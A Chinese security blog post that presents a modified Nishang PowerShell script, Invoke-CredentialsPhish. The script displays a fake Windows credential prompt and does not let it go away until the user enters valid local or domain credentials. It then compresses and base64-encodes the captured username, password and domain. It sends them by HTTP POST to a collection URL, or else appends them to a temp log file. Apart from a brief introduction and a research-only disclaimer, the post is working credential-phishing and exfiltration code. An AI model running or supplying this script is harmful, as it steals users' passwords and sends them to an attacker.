带有 HTTP 请求的 CredentialsPhish

admin 2023年12月15日21:55:58评论20 views字数 2476阅读8分15秒阅读模式

因为 nishang 中的 Invoke-CredentialsPhish 只能将用户名和密码输出显示, 所以就自己改了改.

未指定参数则默认保存在 c:\windows\temp\creds.log 中, 指定 url 则会传输 Post Raw Data, 通过 php://input 接收.

使用 nishang 中的 Invoke-Decode 解码数据.

function Invoke-CredentialsPhish
{
<#
.SYNOPSIS
Nishang script which opens a user credential prompt.

.DESCRIPTION
This payload opens a prompt which asks for user credentials and does not go away till valid local or domain credentials are entered in the prompt.

.PARAMETER Url
The URL of the webserver where POST requests would be sent. The Webserver must beb able to log the POST requests.
The encoded values from the webserver could be decoded bby using Invoke-Decode from Nishang.

.EXAMPLE
PS > Invoke-CredentialsPhish

.EXAMPLE
PS > Invoke-CredentialsPhish -Url http://example.com/post.php

.LINK
http://labofapenetrationtester.blogspot.com/
https://github.com/samratashok/nishang
#>

[CmdletBinding()]
Param (
    [Parameter(Parametersetname="Url")]
    [String]
    $url
)

    $ErrorActionPreference="SilentlyContinue"
    Add-Type -assemblyname system.DirectoryServices.accountmanagement 
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
    $domainDN = "LDAP://" + ([ADSI]"").distinguishedName
    while($true)
    {
        $credential = $host.ui.PromptForCredential("执行此操作需要凭据", "请输入您的用户名和密码", "", "")
        if($credential)
        {
            $creds = $credential.GetNetworkCredential()
            [String]$user = $creds.username
            [String]$pass = $creds.password
            [String]$domain = $creds.domain
            $authlocal = $DS.ValidateCredentials($user, $pass)
            $authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass)
            if(($authlocal -eq $true) -or ($authdomain.name -ne $null))
            {
            	$now = Get-Date;
                $output = "Username: " + $user + " Password: " + $pass + " Domain:" + $domain + " Domain:" + $authdomain.name + " " + $now.ToUniversalTime().ToString("dd/MM/yyyy HH:mm:ss:fff")
                $ms = New-Object IO.MemoryStream
		        $action = [IO.Compression.CompressionMode]::Compress
		        $cs = New-Object IO.Compression.DeflateStream ($ms,$action)
		        $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
		        $output | ForEach-Object {$sw.WriteLine($_)}
		        $sw.Close()
		        $param = [Convert]::ToBase64String($ms.ToArray())
                if ($url){
			        $http_request = New-Object -ComObject Msxml2.XMLHTTP 
			        $http_request.open("POST", $url, $false) 
			        $http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded") 
			        $http_request.setRequestHeader("Content-length", $param.length)
			        $http_request.setRequestHeader("Connection", "close") 
			        $http_request.send($param) 
			        $script:session_key=$http_request.responseText
                } else {
                	$filename = "c:\windows\temp\creds.log" 
                	Out-File -FilePath $fileName -Append -InputObject "$param" 
                }
                break
            }
        }
    }
}

- By:X1r0z[exp10it.cn]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日21:55:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   带有 HTTP 请求的 CredentialsPhishhttps://cn-sec.com/archives/2306648.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息